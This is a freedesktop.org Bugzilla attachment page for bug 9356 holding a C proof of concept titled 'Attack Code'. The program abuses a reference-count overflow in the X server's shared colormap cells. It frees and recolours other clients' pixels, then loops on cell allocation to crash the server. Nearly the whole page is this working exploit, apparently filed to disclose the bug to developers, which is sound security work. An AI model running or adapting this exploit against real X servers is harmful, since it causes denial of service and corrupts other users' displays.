Attachment 8131 Details for Bug 9356 – Attack Code

Attack Code

xcrackcc.c (text/plain), 2.09 KB, created by TSUKAHARA Ken on 2006-12-15 10:29:30 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: TSUKAHARA Ken

Created: 2006-12-15 10:29:30 UTC

Size: 2.09 KB

patch

obsolete

>/*
> * free and overwrite target color cells using "refcnt overflow" BUG
> * visual : 8bit pseudo color
> */
>
>#include <X11/Xlib.h>
>#include <stdio.h>
>
>int main(int argc, char **argv)
>{
>    Display*      disp;
>    Colormap      cmap;
>    XColor        c0, c1;
>    unsigned long px[1];
>    unsigned long pl[1];
>    unsigned int  nplanes = 0;
>    unsigned int  npixels = 1;
>    unsigned int  imax = 32768;
>    unsigned int  i;
>    char          dummy[8];
>    char*         target[] = { "#FFFFFF", /* assume pixel #0 is white */
>                               "#000000"  /* assume pixel #1 is black */ };
>    char*         crack[]  = { "#FFC0CB", /* pixel #0 may become pink */
>                               "#000080"  /* pixel #1 may become navy */ };
>
>    /* !! try to overflow the refcnt !! */
>    disp = XOpenDisplay(NULL);
>    cmap = DefaultColormap(disp, 0);
>    XAllocNamedColor(disp, cmap, target[0], &c0, &c1);
>    printf("Target1 : #%d (%s)\n", c0.pixel, target[0]);
>    XAllocNamedColor(disp, cmap, target[1], &c0, &c1);
>    printf("Target2 : #%d (%s)\n", c0.pixel, target[1]);
>    for (i = 1; i < imax; i++) {
>        XAllocNamedColor(disp, cmap, target[0], &c0, &c1);
>        XAllocNamedColor(disp, cmap, target[1], &c0, &c1);
>        printf("\r[%5d/%5d] ", i+1, imax);
>        fflush(stdout);
>    }
>    printf("\n");
>    XCloseDisplay(disp);
>    /* !! target shared color cells may be released now !! */
>
>    /* !! try to overwrite the RGB value !! */
>    disp = XOpenDisplay(NULL);
>    cmap = DefaultColormap(disp, 0);
>    XAllocNamedColor(disp, cmap, crack[0], &c0, &c1);
>    printf("Overwrite #%d with %s\n", c0.pixel, crack[0]);
>    XAllocNamedColor(disp, cmap, crack[1], &c0, &c1);
>    printf("Overwrite #%d with %s\n", c0.pixel, crack[1]);
>    printf("Press [Enter] to crash Xserver...\n");
>    fflush(stdin);
>    fgets(dummy, sizeof(dummy), stdin);
>
>    /* !! free cell counter may be broken, too !! */
>    for (i = 1; ; i++) {
>        XAllocColorCells(disp, cmap, False, pl, nplanes, px ,npixels);
>        printf("\r[%5d] ", i);
>        fflush(stdout);
>    }
>    printf("\n");
>    XCloseDisplay(disp);
>
>    return 0;
>}
>

Actions: View

Attachments on bug 9356: 8131 | 8132

Use of freedesktop.org services, including Bugzilla, is subject to our Code of Conduct. How we collect and use information is described in our Privacy Policy.